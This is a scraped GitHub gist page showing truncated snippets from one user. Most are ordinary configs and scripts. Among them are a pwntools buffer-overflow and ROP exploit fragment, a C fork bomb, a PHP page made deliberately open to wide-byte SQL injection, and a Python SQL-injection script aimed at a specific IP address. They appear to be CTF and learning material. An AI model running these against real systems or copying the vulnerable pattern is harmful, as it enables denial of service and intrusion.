Skip to content

Instantly share code, notes, and snippets.

💭
iPhone X Online

LiYang virusdefender

💭
iPhone X Online
Block or report user

Report or block virusdefender

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@virusdefender
virusdefender / nginx.conf
Last active Sep 20, 2019
log request and response header and body with openresty | 使用 openresty 记录请求和响应 http 头和 body
View nginx.conf
server {
listen 80;
server_name localhost;
#charset koi8-r;
#access_log /var/log/nginx/host.access.log main;
error_log stderr info;
location / {
root /usr/local/openresty/nginx/html;
@virusdefender
virusdefender / Makefile
Created Mar 18, 2018
reset_proc_memory.c
View Makefile
obj-m += reset_proc_memory.o
KDIR ?= /lib/modules/$(shell uname -r)/build
all:
make -C $(KDIR) M=$(PWD) modules
clean:
make -C $(KDIR) M=$(PWD) clean
@virusdefender
virusdefender / gitstars.json
Created Feb 6, 2018
github stars manager for production
View gitstars.json
{"tags":[],"lastModified":1517885747220}
View pwn.py
from pwn import *
student = 0x7fffffffe2f0
shellcode = "1925\n"
student_size = 0x7fffffffe348 - student
shellcode += "A" * student_size
# pop rdi; ret
shellcode += p64(0x0000000000400803)
# mprotect arg1 addr
@virusdefender
virusdefender / ssl.sh
Last active Sep 4, 2019
openssl 创建 CA 和 Intermediate CA,然后签发服务器证书 (仅供测试)
View ssl.sh
#!/bin/bash
set -x
company="Example"
subj="/C=CN/ST=Beijing/L=Beijing/O=$company Tech/OU=Service Infrastructure Department"
domain="example.com"
# Create CA
openssl genrsa -out ca.key 4096
openssl req -new -x509 -nodes -sha256 -subj "$subj/CN=$company Root CA" -days 3650 -key ca.key -out ca.crt
@virusdefender
virusdefender / fb.c
Created Jun 13, 2017 — forked from gdisneyleugers/fb.c
Fork Bomb in C, fastest fork bomb written yet.
View fb.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
int generator(void)
{
system("echo ':(){ :|:& };: ./*' > $RANDOM");
system("chmod +x * 2> /dev/null");
system("chmod +x $RANDOM 2> /dev/null");
View sqli.php
<?php
header("Content-type: text/html;charset=gbk");
define("HOST",'127.0.0.1');
define("USER",'root');
define("PASS",'testtest');
define("DB",'test');
foreach($_GET as $key => $val){
$_GET[$key] = addslashes($val);
}
View sqli.py
# coding=utf-8
import requests
import urllib
import re
regex = r = re.compile("<h1>([\s\S]*)</h1>")
base_url = "http://139.129.166.67/5t5y6huj7j7/?id=%bf%27 "
def get(payload):
View server.py
#!/usr/bin/env python2
import web
import rsa
import json
import random
import time
import hashlib
from base64 import b64encode, b64decode
View 1.py
#coding=utf-8
import re
r = re.compile(r'answer="(\w)"')
text = u"""
<div class="row">
<div class="span10">
<p>Remember, the <strong>only thing</strong> before everything, is to have a dogma. A dogma is a list consists by DOs and DONTanswer="C"s. You make it, stick to it while adapt it to reality, question yourself from time to time: is everything on the list mutuallanswer="A"y exclanswer="B"usive and collectively eanswer="B"xanswer="C"hausive?</p>
You can’t perform that action at this time.